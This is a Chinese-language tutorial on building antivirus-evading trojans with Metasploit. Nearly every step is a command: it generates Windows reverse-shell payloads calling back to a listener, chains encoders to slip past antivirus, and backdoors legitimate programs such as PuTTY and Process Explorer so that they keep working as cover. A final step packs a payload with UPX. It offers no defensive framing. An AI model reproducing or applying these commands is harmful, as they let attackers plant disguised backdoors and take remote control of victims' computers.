Metasploit——木马免杀篇

1.生成简单到木马后门

root@bt:/opt/metasploit/msf3# ./msfpayload windows/shell/reverse_tcp O           //查看这个payload有什么选项

root@bt:/opt/metasploit/msf3# ./msfpayload windows/shell/reverse_tcp LHOST=192.168.0.112 X > /var/www/payload1.exe

另一个终端监听

msf > use exploit/multi/handler
msf  exploit(handler) > set payload windows/shell/reverse_tcp

msf  exploit(handler) > set LHOST=192.168.0.112

msf  exploit(handler) > show options

msf  exploit(handler) > set LHOST 192.168.0.112

msf  exploit(handler) > exploit

2.单次使用msf编码器免杀

root@bt:/opt/metasploit/msf3# ./msfpayload windows/shell/reverse_tcp LHOST=192.168.0.112 R | ./msfencode -e x86/shikata_ga_nai -t exe > /var/www/payload2.exe

3.使用msf编码器多重编码免杀

root@bt:/opt/metasploit/msf3# ./msfpayload windows/shell/reverse_tcp LHOST=192.168.0.112 R | ./msfencode -e x86/shikata_ga_nai -c 5 -t raw | ./msfencode -e x86/alpha_upper -c 2 -t raw | ./msfencode -e x86/shikata_ga_nai -c 5 -t raw | ./msfencode -e x86/countdown -c 5 -t exe -o /var/www/payload3.exe

这么多次的编码，仍然会被小红伞检测出来，修改里面的编码次数和编码方式，变幻一下应该免杀效果会好一些。

msfencode到编码方式：

root@bt:/opt/metasploit/msf3# msfencode -l

Framework Encoders
==================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/generic_sh                good       Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Generic ${IFS} Substitution Command Encoder
    cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder
    generic/none                  normal     The "none" Encoder
    mipsbe/longxor                normal     XOR Encoder
    mipsle/longxor                normal     XOR Encoder
    php/base64                    great      PHP Base64 Encoder
    ppc/longxor                   normal     PPC LongXOR Encoder
    ppc/longxor_tag               normal     PPC LongXOR Encoder
    sparc/longxor_tag             normal     SPARC DWORD XOR Encoder
    x64/xor                       normal     XOR Encoder
    x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_underscore_tolower  manual     Avoid underscore/tolower
    x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower
    x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder
    x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder
    x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown                 normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha                  low        Non-Alpha Encoder
    x86/nonupper                  low        Non-Upper Encoder
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit         manual     Single Static Bit
    x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

3.自定义可执行文件模板

ProcessExplorer.zip

root@bt:/opt/metasploit/msf3# msfpayload windows/shell/reverse_tcp LHOST=192.168.0.112 R | msfencode -t exe -x work/procexp.exe -o /var/www/payload4.exe -e x86/shikata_ga_nai -c 5

4.载荷隐蔽启动

putty.zip

msfpayload windows/shell/reverse_tcp LHOST=192.168.0.112 R | msfencode -t exe -x work/putty.exe -o /var/www/putty_backdoor.exe -e x86/shikata_ga_nai -k -c 4

5.对载荷加壳

root@bt:~# upx -5 /var/www/payload3.exe